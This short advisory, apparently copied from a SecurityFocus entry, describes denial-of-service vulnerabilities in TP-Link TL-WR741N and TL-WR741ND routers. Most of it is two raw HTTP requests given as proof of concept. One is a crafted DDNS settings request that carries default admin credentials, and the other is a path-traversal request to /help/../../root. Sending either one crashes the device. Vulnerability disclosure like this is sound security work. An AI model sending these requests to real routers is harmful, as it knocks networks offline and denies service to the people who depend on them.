TP-Link TL-WR741N / TL-WR741ND Routers – Multiple Denial of Service Vulnerabilities
source: https://www.securityfocus.com/bid/59325/info TP-LINK TL-WR741N and TL-WR741ND routers are prone to multiple denial-of-service vulnerabilities when handling specially crafted HTTP requests. Successful exploits will cause the device to crash, denying service to legitimate users. GET http://www.example.com:80/userRpm/DdnsAddRpm.htm?provider=4 HTTP/1.1 Host: www.example.com User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: http://www.example.com/userRpm/DdnsAddRpm.htm?provider=4 Authorization: Basic YWRtaW46YWRtaW4= GET http://www.example.com:80/help/../../root HTTP/1.1 Host: www.example.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: http://www.example.com/help/ |